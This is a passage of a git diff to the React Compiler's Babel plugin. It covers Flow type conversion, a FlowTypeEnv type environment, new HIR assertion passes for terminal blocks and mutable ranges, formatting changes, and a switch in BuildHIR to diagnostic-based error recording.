+              newEnv,
+              platform,
+              poly,
+            );
+          }
+          case 'ReactAbstractComponent': {
+            const props = new Map<string, ResolvedType>();
+            let children: ResolvedType | null = null;
+            const propsType = convertFlowTypeImpl(
+              flowType.def.config,
+              loc,
+              genericEnv,
+              platform,
+            );
+
+            if (propsType.type.kind === 'Object') {
+              propsType.type.members.forEach((v, k) => {
+                if (k === 'children') {
+                  children = v;
+                } else {
+                  props.set(k, v);
+                }
+              });
+            } else {
+              CompilerError.invariant(false, {
+                reason: `Unsupported component props type ${propsType.type.kind}`,
+                loc: GeneratedSource,
+              });
+            }
+
+            return Resolved.component(props, children, platform);
+          }
+          case 'Renders':
+            return Resolved.todo(platform);
+          default:
+            TypeErrors.unsupportedTypeAnnotation('Renders', GeneratedSource);
+        }
+      }
+      case 'Generic': {
+        const id = genericEnv.get(flowType.name);
+        if (id == null) {
+          TypeErrors.unsupportedTypeAnnotation(flowType.name, GeneratedSource);
+        }
+        return Resolved.generic(
+          id,
+          platform,
+          convertFlowTypeImpl(flowType.bound, loc, genericEnv, platform),
+        );
+      }
+      case 'Union': {
+        const members = flowType.members.map(t =>
+          convertFlowTypeImpl(t, loc, genericEnv, platform),
+        );
+        if (members.length === 1) {
+          return members[0];
+        }
+        if (
+          members[0].type.kind === 'Number' ||
+          members[0].type.kind === 'String' ||
+          members[0].type.kind === 'Boolean'
+        ) {
+          const dupes = members.filter(
+            t => t.type.kind === members[0].type.kind,
+          );
+          if (dupes.length === members.length) {
+            return members[0];
+          }
+        }
+        if (
+          members[0].type.kind === 'Array' &&
+          (members[0].type.element.type.kind === 'Number' ||
+            members[0].type.element.type.kind === 'String' ||
+            members[0].type.element.type.kind === 'Boolean')
+        ) {
+          const first = members[0].type.element;
+          const dupes = members.filter(
+            t =>
+              t.type.kind === 'Array' &&
+              t.type.element.type.kind === first.type.kind,
+          );
+          if (dupes.length === members.length) {
+            return members[0];
+          }
+        }
+        return Resolved.union(members, platform);
+      }
+      case 'Eval': {
+        if (
+          flowType.destructor.kind === 'ReactDRO' ||
+          flowType.destructor.kind === 'ReactCheckComponentConfig'
+        ) {
+          return convertFlowTypeImpl(
+            flowType.type,
+            loc,
+            genericEnv,
+            platform,
+            poly,
+          );
+        }
+        TypeErrors.unsupportedTypeAnnotation(
+          `EvalT(${flowType.destructor.kind})`,
+          GeneratedSource,
+        );
+      }
+      case 'Optional': {
+        return Resolved.union(
+          [
+            convertFlowTypeImpl(flowType.type, loc, genericEnv, platform),
+            Resolved.void(platform),
+          ],
+          platform,
+        );
+      }
+      default:
+        TypeErrors.unsupportedTypeAnnotation(flowType.kind, GeneratedSource);
+    }
+  }
+  return convertFlowTypeImpl(flowType, loc, new Map(), 'shared');
+}
+
+export interface ITypeEnv {
+  popGeneric(name: string): void;
+  getGeneric(name: string): null | TypeParameter<ResolvedType>;
+  pushGeneric(
+    name: string,
+    binding: {name: string; id: TypeParameterId; bound: ResolvedType},
+  ): void;
+  getType(id: Identifier): ResolvedType;
+  getTypeOrNull(id: Identifier): ResolvedType | null;
+  setType(id: Identifier, type: ResolvedType): void;
+  nextNominalId(): NominalId;
+  nextTypeParameterId(): TypeParameterId;
+  moduleEnv: Map<string, ResolvedType>;
+  addBinding(bindingIdentifier: t.Identifier, type: ResolvedType): void;
+  resolveBinding(bindingIdentifier: t.Identifier): ResolvedType | null;
+}
+
+function serializeLoc(location: t.SourceLocation): string {
+  return `${location.start.line}:${location.start.column}-${location.end.line}:${location.end.column}`;
+}
+
+function buildTypeEnvironment(
+  flowOutput: Array<{loc: t.SourceLocation; type: string}>,
+): Map<string, string> {
+  const result: Map<string, string> = new Map();
+  for (const item of flowOutput) {
+    const loc: t.SourceLocation = {
+      start: {
+        line: item.loc.start.line,
+        column: item.loc.start.column - 1,
+        index: item.loc.start.index,
+      },
+      end: item.loc.end,
+      filename: item.loc.filename,
+      identifierName: item.loc.identifierName,
+    };
+
+    result.set(serializeLoc(loc), item.type);
+  }
+  return result;
+}
+
+let lastFlowSource: string | null = null;
+let lastFlowResult: any = null;
+
+export class FlowTypeEnv implements ITypeEnv {
+  moduleEnv: Map<string, ResolvedType> = new Map();
+  #nextNominalId: number = 0;
+  #nextTypeParameterId: number = 0;
+
+  #types: Map<IdentifierId, ResolvedType> = new Map();
+  #bindings: Map<t.Identifier, ResolvedType> = new Map();
+  #generics: Array<[string, TypeParameter<ResolvedType>]> = [];
+  #flowTypes: Map<string, ResolvedType> = new Map();
+
+  init(env: Environment, source: string): void {
+    // TODO: use flow-js only for web environments (e.g. playground)
+    CompilerError.invariant(env.config.flowTypeProvider != null, {
+      reason: 'Expected flowDumpTypes to be defined in environment config',
+      loc: GeneratedSource,
+    });
+    let stdout: any;
+    if (source === lastFlowSource) {
+      stdout = lastFlowResult;
+    } else {
+      lastFlowSource = source;
+      lastFlowResult = env.config.flowTypeProvider(source);
+      stdout = lastFlowResult;
+    }
+    const flowTypes = buildTypeEnvironment(stdout);
+    const resolvedFlowTypes = new Map<string, ResolvedType>();
+    for (const [loc, type] of flowTypes) {
+      if (typeof loc === 'symbol') continue;
+      resolvedFlowTypes.set(loc, convertFlowType(JSON.parse(type), loc));
+    }
+    // =console.log(resolvedFlowTypes);
+    this.#flowTypes = resolvedFlowTypes;
+  }
+
+  setType(identifier: Identifier, type: ResolvedType): void {
+    if (
+      typeof identifier.loc !== 'symbol' &&
+      this.#flowTypes.has(serializeLoc(identifier.loc))
+    ) {
+      return;
+    }
+    this.#types.set(identifier.id, type);
+  }
+
+  getType(identifier: Identifier): ResolvedType {
+    const result = this.getTypeOrNull(identifier);
+    if (result == null) {
+      throw new Error(
+        `Type not found for ${identifier.id}, ${typeof identifier.loc === 'symbol' ? 'generated loc' : serializeLoc(identifier.loc)}`,
+      );
+    }
+    return result;
+  }
+
+  getTypeOrNull(identifier: Identifier): ResolvedType | null {
+    const result = this.#types.get(identifier.id) ?? null;
+    if (result == null && typeof identifier.loc !== 'symbol') {
+      const flowType = this.#flowTypes.get(serializeLoc(identifier.loc));
+      return flowType ?? null;
+    }
+    return result;
+  }
+
+  getTypeByLoc(loc: SourceLocation): ResolvedType | null {
+    if (typeof loc === 'symbol') {
+      return null;
+    }
+    const flowType = this.#flowTypes.get(serializeLoc(loc));
+    return flowType ?? null;
+  }
+
+  nextNominalId(): NominalId {
+    return makeNominalId(this.#nextNominalId++);
+  }
+
+  nextTypeParameterId(): TypeParameterId {
+    return makeTypeParameterId(this.#nextTypeParameterId++);
+  }
+
+  addBinding(bindingIdentifier: t.Identifier, type: ResolvedType): void {
+    this.#bindings.set(bindingIdentifier, type);
+  }
+
+  resolveBinding(bindingIdentifier: t.Identifier): ResolvedType | null {
+    return this.#bindings.get(bindingIdentifier) ?? null;
+  }
+
+  pushGeneric(name: string, generic: TypeParameter<ResolvedType>): void {
+    this.#generics.unshift([name, generic]);
+  }
+
+  popGeneric(name: string): void {
+    for (let i = 0; i < this.#generics.length; i++) {
+      if (this.#generics[i][0] === name) {
+        this.#generics.splice(i, 1);
+        return;
+      }
+    }
+  }
+
+  /**
+   * Look up bound polymorphic types
+   * @param name
+   * @returns
+   */
+  getGeneric(name: string): null | TypeParameter<ResolvedType> {
+    for (const [eltName, param] of this.#generics) {
+      if (name === eltName) {
+        return param;
+      }
+    }
+    return null;
+  }
+}
+const Primitives = {
+  number(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Number'}, platform};
+  },
+  string(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'String'}, platform};
+  },
+  boolean(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Boolean'}, platform};
+  },
+  void(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Void'}, platform};
+  },
+  mixed(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Mixed'}, platform};
+  },
+  enum(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Enum'}, platform};
+  },
+  todo(platform: Platform): Type & ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Mixed'}, platform};
+  },
+};
+
+export const Resolved = {
+  ...Primitives,
+  nullable(type: ResolvedType, platform: Platform): ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Nullable', type}, platform};
+  },
+  array(element: ResolvedType, platform: Platform): ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Array', element}, platform};
+  },
+  set(element: ResolvedType, platform: Platform): ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Set', element}, platform};
+  },
+  map(
+    key: ResolvedType,
+    value: ResolvedType,
+    platform: Platform,
+  ): ResolvedType {
+    return {kind: 'Concrete', type: {kind: 'Map', key, value}, platform};
+  },
+  function(
+    typeParameters: null | Array<TypeParameter<ResolvedType>>,
+    params: Array<ResolvedType>,
+    returnType: ResolvedType,
+    platform: Platform,
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {kind: 'Function', typeParameters, params, returnType},
+      platform,
+    };
+  },
+  component(
+    props: Map<string, ResolvedType>,
+    children: ResolvedType | null,
+    platform: Platform,
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {kind: 'Component', props, children},
+      platform,
+    };
+  },
+  object(
+    id: NominalId,
+    members: Map<string, ResolvedType>,
+    platform: Platform,
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {
+        kind: 'Object',
+        id,
+        members,
+      },
+      platform,
+    };
+  },
+  class(
+    name: string,
+    members: Map<string, ResolvedType>,
+    platform: Platform,
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {
+        kind: 'Instance',
+        name,
+        members,
+      },
+      platform,
+    };
+  },
+  tuple(
+    id: NominalId,
+    members: Array<ResolvedType>,
+    platform: Platform,
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {
+        kind: 'Tuple',
+        id,
+        members,
+      },
+      platform,
+    };
+  },
+  generic(
+    id: TypeParameterId,
+    platform: Platform,
+    bound = Primitives.mixed(platform),
+  ): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {
+        kind: 'Generic',
+        id,
+        bound,
+      },
+      platform,
+    };
+  },
+  union(members: Array<ResolvedType>, platform: Platform): ResolvedType {
+    return {
+      kind: 'Concrete',
+      type: {
+        kind: 'Union',
+        members,
+      },
+      platform,
+    };
+  },
+};
+
+/*
+ * export const Types = {
+ *   ...Primitives,
+ *   variable(env: TypeEnv): Type {
+ *     return env.nextTypeVariable();
+ *   },
+ *   nullable(type: Type): Type {
+ *     return {kind: 'Concrete', type: {kind: 'Nullable', type}};
+ *   },
+ *   array(element: Type): Type {
+ *     return {kind: 'Concrete', type: {kind: 'Array', element}};
+ *   },
+ *   set(element: Type): Type {
+ *     return {kind: 'Concrete', type: {kind: 'Set', element}};
+ *   },
+ *   map(key: Type, value: Type): Type {
+ *     return {kind: 'Concrete', type: {kind: 'Map', key, value}};
+ *   },
+ *   function(
+ *     typeParameters: null | Array<TypeParameter<Type>>,
+ *     params: Array<Type>,
+ *     returnType: Type,
+ *   ): Type {
+ *     return {
+ *       kind: 'Concrete',
+ *       type: {kind: 'Function', typeParameters, params, returnType},
+ *     };
+ *   },
+ *   component(
+ *     props: Map<string, ResolvedType>,
+ *     children: Type | null,
+ *   ): Type {
+ *     return {
+ *       kind: 'Concrete',
+ *       type: {kind: 'Component', props, children},
+ *     };
+ *   },
+ *   object(id: NominalId, members: Map<string, ResolvedType>): Type {
+ *     return {
+ *       kind: 'Concrete',
+ *       type: {
+ *         kind: 'Object',
+ *         id,
+ *         members,
+ *       },
+ *     };
+ *   },
+ * };
+ */
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertConsistentIdentifiers.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertConsistentIdentifiers.ts
index 32c9c672831f..b002149f53eb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertConsistentIdentifiers.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertConsistentIdentifiers.ts
@@ -5,20 +5,20 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
 import {
   GeneratedSource,
   HIRFunction,
   Identifier,
   IdentifierId,
   SourceLocation,
-} from "./HIR";
-import { printPlace } from "./PrintHIR";
+} from './HIR';
+import {printPlace} from './PrintHIR';
 import {
   eachInstructionLValue,
   eachInstructionValueOperand,
   eachTerminalOperand,
-} from "./visitors";
+} from './visitors';
 
 /*
  * Validation pass to check that there is a 1:1 mapping between Identifier objects and IdentifierIds,
@@ -29,9 +29,9 @@ export function assertConsistentIdentifiers(fn: HIRFunction): void {
   const assignments: Set<IdentifierId> = new Set();
   for (const [, block] of fn.body.blocks) {
     for (const phi of block.phis) {
-      validate(identifiers, phi.id);
+      validate(identifiers, phi.place.identifier);
       for (const [, operand] of phi.operands) {
-        validate(identifiers, operand);
+        validate(identifiers, operand.identifier);
       }
     }
     for (const instr of block.instructions) {
@@ -39,15 +39,13 @@ export function assertConsistentIdentifiers(fn: HIRFunction): void {
         reason: `Expected all lvalues to be temporaries`,
         description: `Found named lvalue \`${instr.lvalue.identifier.name}\``,
         loc: instr.lvalue.loc,
-        suggestions: null,
       });
       CompilerError.invariant(!assignments.has(instr.lvalue.identifier.id), {
         reason: `Expected lvalues to be assigned exactly once`,
         description: `Found duplicate assignment of '${printPlace(
-          instr.lvalue
+          instr.lvalue,
         )}'`,
         loc: instr.lvalue.loc,
-        suggestions: null,
       });
       assignments.add(instr.lvalue.identifier.id);
       for (const operand of eachInstructionLValue(instr)) {
@@ -68,7 +66,7 @@ type Identifiers = Map<IdentifierId, Identifier>;
 function validate(
   identifiers: Identifiers,
   identifier: Identifier,
-  loc: SourceLocation | null = null
+  loc: SourceLocation | null = null,
 ): void {
   const previous = identifiers.get(identifier.id);
   if (previous === undefined) {
@@ -78,7 +76,6 @@ function validate(
       reason: `Duplicate identifier object`,
       description: `Found duplicate identifier object for id ${identifier.id}`,
       loc: loc ?? GeneratedSource,
-      suggestions: null,
     });
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalBlocksExist.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalBlocksExist.ts
new file mode 100644
index 000000000000..13dbbbf86f93
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalBlocksExist.ts
@@ -0,0 +1,47 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '../CompilerError';
+import {GeneratedSource, HIRFunction} from './HIR';
+import {printTerminal} from './PrintHIR';
+import {eachTerminalSuccessor, mapTerminalSuccessors} from './visitors';
+
+export function assertTerminalSuccessorsExist(fn: HIRFunction): void {
+  for (const [, block] of fn.body.blocks) {
+    mapTerminalSuccessors(block.terminal, successor => {
+      CompilerError.invariant(fn.body.blocks.has(successor), {
+        reason: `Terminal successor references unknown block`,
+        description: `Block bb${successor} does not exist for terminal '${printTerminal(
+          block.terminal,
+        )}'`,
+        loc: (block.terminal as any).loc ?? GeneratedSource,
+      });
+      return successor;
+    });
+  }
+}
+
+export function assertTerminalPredsExist(fn: HIRFunction): void {
+  for (const [, block] of fn.body.blocks) {
+    for (const pred of block.preds) {
+      const predBlock = fn.body.blocks.get(pred);
+      CompilerError.invariant(predBlock != null, {
+        reason: 'Expected predecessor block to exist',
+        description: `Block ${block.id} references non-existent ${pred}`,
+        loc: GeneratedSource,
+      });
+      CompilerError.invariant(
+        [...eachTerminalSuccessor(predBlock.terminal)].includes(block.id),
+        {
+          reason: 'Terminal successor does not reference correct predecessor',
+          description: `Block bb${block.id} has bb${predBlock.id} as a predecessor, but bb${predBlock.id}'s successors do not include bb${block.id}`,
+          loc: GeneratedSource,
+        },
+      );
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalSuccessorsExist.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalSuccessorsExist.ts
deleted file mode 100644
index 493ff54c03fe..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalSuccessorsExist.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import { GeneratedSource, HIRFunction } from "./HIR";
-import { printTerminal } from "./PrintHIR";
-import { mapTerminalSuccessors } from "./visitors";
-
-export function assertTerminalSuccessorsExist(fn: HIRFunction): void {
-  for (const [, block] of fn.body.blocks) {
-    mapTerminalSuccessors(block.terminal, (successor) => {
-      CompilerError.invariant(fn.body.blocks.has(successor), {
-        reason: `Terminal successor references unknown block`,
-        description: `Block bb${successor} does not exist for terminal '${printTerminal(
-          block.terminal
-        )}'`,
-        loc: (block.terminal as any).loc ?? GeneratedSource,
-        suggestions: null,
-      });
-      return successor;
-    });
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidBlockNesting.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidBlockNesting.ts
index 0232f6cad575..adfb0510582c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidBlockNesting.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidBlockNesting.ts
@@ -1,4 +1,11 @@
-import { CompilerError } from "..";
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '..';
 import {
   BlockId,
   GeneratedSource,
@@ -7,13 +14,13 @@ import {
   Place,
   ReactiveScope,
   ScopeId,
-} from "./HIR";
+} from './HIR';
 import {
   eachInstructionLValue,
   eachInstructionOperand,
   eachTerminalOperand,
   terminalFallthrough,
-} from "./visitors";
+} from './visitors';
 
 /**
  * This pass asserts that program blocks and scopes properly form a tree hierarchy
@@ -41,11 +48,11 @@ import {
  */
 type Block =
   | ({
-      kind: "ProgramBlockSubtree";
+      kind: 'ProgramBlockSubtree';
       id: BlockId;
     } & MutableRange)
   | ({
-      kind: "Scope";
+      kind: 'Scope';
       id: ScopeId;
     } & MutableRange);
 
@@ -96,7 +103,7 @@ export function getScopes(fn: HIRFunction): Set<ReactiveScope> {
  */
 export function rangePreOrderComparator(
   a: MutableRange,
-  b: MutableRange
+  b: MutableRange,
 ): number {
   const startDiff = a.start - b.start;
   if (startDiff !== 0) return startDiff;
@@ -108,7 +115,7 @@ export function recursivelyTraverseItems<T, TContext>(
   getRange: (val: T) => MutableRange,
   context: TContext,
   enter: (val: T, context: TContext) => void,
-  exit: (val: T, context: TContext) => void
+  exit: (val: T, context: TContext) => void,
 ): void {
   items.sort((a, b) => rangePreOrderComparator(getRange(a), getRange(b)));
   let activeItems: Array<T> = [];
@@ -122,7 +129,7 @@ export function recursivelyTraverseItems<T, TContext>(
       const disjoint = currRange.start >= maybeParentRange.end;
       const nested = currRange.end <= maybeParentRange.end;
       CompilerError.invariant(disjoint || nested, {
-        reason: "Invalid nesting in program blocks or scopes",
+        reason: 'Invalid nesting in program blocks or scopes',
         description: `Items overlap but are not nested: ${maybeParentRange.start}:${maybeParentRange.end}(${currRange.start}:${currRange.end})`,
         loc: GeneratedSource,
       });
@@ -148,8 +155,8 @@ const no_op: () => void = () => {};
 export function assertValidBlockNesting(fn: HIRFunction): void {
   const scopes = getScopes(fn);
 
-  const blocks: Array<Block> = [...scopes].map((scope) => ({
-    kind: "Scope",
+  const blocks: Array<Block> = [...scopes].map(scope => ({
+    kind: 'Scope',
     id: scope.id,
     ...scope.range,
   })) as Array<Block>;
@@ -159,7 +166,7 @@ export function assertValidBlockNesting(fn: HIRFunction): void {
       const fallthrough = fn.body.blocks.get(fallthroughId)!;
       const end = fallthrough.instructions[0]?.id ?? fallthrough.terminal.id;
       blocks.push({
-        kind: "ProgramBlockSubtree",
+        kind: 'ProgramBlockSubtree',
         id: block.id,
         start: block.terminal.id,
         end,
@@ -167,5 +174,5 @@ export function assertValidBlockNesting(fn: HIRFunction): void {
     }
   }
 
-  recursivelyTraverseItems(blocks, (block) => block, null, no_op, no_op);
+  recursivelyTraverseItems(blocks, block => block, null, no_op, no_op);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidMutableRanges.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidMutableRanges.ts
index 0e71dcb41fe4..773986a1b5e7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidMutableRanges.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidMutableRanges.ts
@@ -5,13 +5,14 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import invariant from "invariant";
-import { HIRFunction, Identifier, MutableRange } from "./HIR";
+import {HIRFunction, MutableRange, Place} from './HIR';
 import {
   eachInstructionLValue,
   eachInstructionOperand,
   eachTerminalOperand,
-} from "./visitors";
+} from './visitors';
+import {CompilerError} from '..';
+import {printPlace} from './PrintHIR';
 
 /*
  * Checks that all mutable ranges in the function are well-formed, with
@@ -20,37 +21,43 @@ import {
 export function assertValidMutableRanges(fn: HIRFunction): void {
   for (const [, block] of fn.body.blocks) {
     for (const phi of block.phis) {
-      for (const [, operand] of phi.operands) {
-        visitIdentifier(operand);
+      visit(phi.place, `phi for block bb${block.id}`);
+      for (const [pred, operand] of phi.operands) {
+        visit(operand, `phi predecessor bb${pred} for block bb${block.id}`);
       }
     }
     for (const instr of block.instructions) {
       for (const operand of eachInstructionLValue(instr)) {
-        visitIdentifier(operand.identifier);
+        visit(operand, `instruction [${instr.id}]`);
       }
       for (const operand of eachInstructionOperand(instr)) {
-        visitIdentifier(operand.identifier);
+        visit(operand, `instruction [${instr.id}]`);
       }
     }
     for (const operand of eachTerminalOperand(block.terminal)) {
-      visitIdentifier(operand.identifier);
+      visit(operand, `terminal [${block.terminal.id}]`);
     }
   }
 }
 
-function visitIdentifier(identifier: Identifier): void {
-  validateMutableRange(identifier.mutableRange);
-  if (identifier.scope !== null) {
-    validateMutableRange(identifier.scope.range);
+function visit(place: Place, description: string): void {
+  validateMutableRange(place, place.identifier.mutableRange, description);
+  if (place.identifier.scope !== null) {
+    validateMutableRange(place, place.identifier.scope.range, description);
   }
 }
 
-function validateMutableRange(mutableRange: MutableRange): void {
-  invariant(
-    (mutableRange.start === 0 && mutableRange.end === 0) ||
-      mutableRange.end > mutableRange.start,
-    "Identifier scope mutableRange was invalid: [%s:%s]",
-    mutableRange.start,
-    mutableRange.end
+function validateMutableRange(
+  place: Place,
+  range: MutableRange,
+  description: string,
+): void {
+  CompilerError.invariant(
+    (range.start === 0 && range.end === 0) || range.end > range.start,
+    {
+      reason: `Invalid mutable range: [${range.start}:${range.end}]`,
+      description: `${printPlace(place)} in ${description}`,
+      loc: place.loc,
+    },
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts
index e5a067018dac..452aa0ce329d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts
@@ -5,18 +5,18 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath, Scope } from "@babel/traverse";
-import * as t from "@babel/types";
-import { Expression } from "@babel/types";
-import invariant from "invariant";
+import {NodePath, Scope} from '@babel/traverse';
+import * as t from '@babel/types';
+import invariant from 'invariant';
 import {
+  CompilerDiagnostic,
   CompilerError,
+  CompilerErrorDetail,
   CompilerSuggestionOperation,
-  ErrorSeverity,
-} from "../CompilerError";
-import { Err, Ok, Result } from "../Utils/Result";
-import { assertExhaustive, hasNode } from "../Utils/utils";
-import { Environment } from "./Environment";
+  ErrorCategory,
+} from '../CompilerError';
+import {assertExhaustive, hasNode} from '../Utils/utils';
+import {Environment} from './Environment';
 import {
   ArrayExpression,
   ArrayPattern,
@@ -37,17 +37,20 @@ import {
   ObjectProperty,
   ObjectPropertyKey,
   Place,
+  PropertyLiteral,
   ReturnTerminal,
   SourceLocation,
   SpreadPattern,
   ThrowTerminal,
   Type,
   makeInstructionId,
+  makePropertyLiteral,
   makeType,
   promoteTemporary,
-} from "./HIR";
-import HIRBuilder, { Bindings } from "./HIRBuilder";
-import { BuiltInArrayId } from "./ObjectShape";
+  validateIdentifierName,
+} from './HIR';
+import HIRBuilder, {Bindings, createTemporaryPlace} from './HIRBuilder';
+import {BuiltInArrayId} from './ObjectShape';
 
 /*
  * *******************************************************************************************
@@ -69,21 +72,23 @@ import { BuiltInArrayId } from "./ObjectShape";
 export function lower(
   func: NodePath<t.Function>,
   env: Environment,
+  // Bindings captured from the outer function, in case lower() is called recursively (for lambdas)
   bindings: Bindings | null = null,
-  capturedRefs: Array<t.Identifier> = [],
-  // the outermost function being compiled, in case lower() is called recursively (for lambdas)
-  parent: NodePath<t.Function> | null = null
-): Result<HIRFunction, CompilerError> {
-  const builder = new HIRBuilder(env, parent ?? func, bindings, capturedRefs);
-  const context: Array<Place> = [];
-
-  for (const ref of capturedRefs ?? []) {
+  capturedRefs: Map<t.Identifier, SourceLocation> = new Map(),
+): HIRFunction {
+  const builder = new HIRBuilder(env, {
+    bindings,
+    context: capturedRefs,
+  });
+  const context: HIRFunction['context'] = [];
+
+  for (const [ref, loc] of capturedRefs ?? []) {
     context.push({
-      kind: "Identifier",
+      kind: 'Identifier',
       identifier: builder.resolveBinding(ref),
       effect: Effect.Unknown,
       reactive: false,
-      loc: ref.loc ?? GeneratedSource,
+      loc,
     });
   }
 
@@ -91,26 +96,31 @@ export function lower(
   if (func.isFunctionDeclaration() || func.isFunctionExpression()) {
     const idNode = (
       func as NodePath<t.FunctionDeclaration | t.FunctionExpression>
-    ).get("id");
+    ).get('id');
     if (hasNode(idNode)) {
       id = idNode.node.name;
     }
   }
   const params: Array<Place | SpreadPattern> = [];
-  func.get("params").forEach((param) => {
+  func.get('params').forEach(param => {
     if (param.isIdentifier()) {
       const binding = builder.resolveIdentifier(param);
-      if (binding.kind !== "Identifier") {
-        builder.errors.push({
-          reason: `(BuildHIR::lower) Could not find binding for param \`${param.node.name}\``,
-          severity: ErrorSeverity.Invariant,
-          loc: param.node.loc ?? null,
-          suggestions: null,
-        });
+      if (binding.kind !== 'Identifier') {
+        builder.recordError(
+          CompilerDiagnostic.create({
+            category: ErrorCategory.Invariant,
+            reason: 'Could not find binding',
+            description: `[BuildHIR] Could not find binding for param \`${param.node.name}\``,
+          }).withDetails({
+            kind: 'error',
+            loc: param.node.loc ?? null,
+            message: 'Could not find binding',
+          }),
+        );
         return;
       }
       const place: Place = {
-        kind: "Identifier",
+        kind: 'Identifier',
         identifier: binding.identifier,
         effect: Effect.Unknown,
         reactive: false,
@@ -123,12 +133,13 @@ export function lower(
       param.isAssignmentPattern()
     ) {
       const place: Place = {
-        kind: "Identifier",
+        kind: 'Identifier',
         identifier: builder.makeTemporary(param.node.loc ?? GeneratedSource),
         effect: Effect.Unknown,
         reactive: false,
         loc: param.node.loc ?? GeneratedSource,
       };
+      promoteTemporary(place.identifier);
       params.push(place);
       lowerAssignment(
         builder,
@@ -136,107 +147,132 @@ export function lower(
         InstructionKind.Let,
         param,
         place,
-        "Assignment"
+        'Assignment',
       );
     } else if (param.isRestElement()) {
       const place: Place = {
-        kind: "Identifier",
+        kind: 'Identifier',
         identifier: builder.makeTemporary(param.node.loc ?? GeneratedSource),
         effect: Effect.Unknown,
         reactive: false,
         loc: param.node.loc ?? GeneratedSource,
       };
       params.push({
-        kind: "Spread",
+        kind: 'Spread',
         place,
       });
       lowerAssignment(
         builder,
         param.node.loc ?? GeneratedSource,
         InstructionKind.Let,
-        param.get("argument"),
+        param.get('argument'),
         place,
-        "Assignment"
+        'Assignment',
       );
     } else {
-      builder.errors.push({
-        reason: `(BuildHIR::lower) Handle ${param.node.type} params`,
-        severity: ErrorSeverity.Todo,
-        loc: param.node.loc ?? null,
-        suggestions: null,
-      });
+      builder.recordError(
+        CompilerDiagnostic.create({
+          category: ErrorCategory.Todo,
+          reason: `Handle ${param.node.type} parameters`,
+          description: `[BuildHIR] Add support for ${param.node.type} parameters`,
+        }).withDetails({
+          kind: 'error',
+          loc: param.node.loc ?? null,
+          message: 'Unsupported parameter type',
+        }),
+      );
     }
   });
 
   let directives: Array<string> = [];
-  const body = func.get("body");
+  const body = func.get('body');
   if (body.isExpression()) {
-    const fallthrough = builder.reserve("block");
+    const fallthrough = builder.reserve('block');
     const terminal: ReturnTerminal = {
-      kind: "return",
+      kind: 'return',
+      returnVariant: 'Implicit',
       loc: GeneratedSource,
       value: lowerExpressionToTemporary(builder, body),
       id: makeInstructionId(0),
+      effects: null,
     };
     builder.terminateWithContinuation(terminal, fallthrough);
   } else if (body.isBlockStatement()) {
     lowerStatement(builder, body);
-    directives = body.get("directives").map((d) => d.node.value.value);
+    directives = body.get('directives').map(d => d.node.value.value);
   } else {
-    builder.errors.push({
-      severity: ErrorSeverity.InvalidJS,
-      reason: `Unexpected function body kind`,
-      description: `Expected function body to be an expression or a block statement, got \`${body.type}\``,
-      loc: body.node.loc ?? null,
-      suggestions: null,
-    });
+    builder.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Syntax,
+        reason: `Unexpected function body kind`,
+        description: `Expected function body to be an expression or a block statement, got \`${body.type}\``,
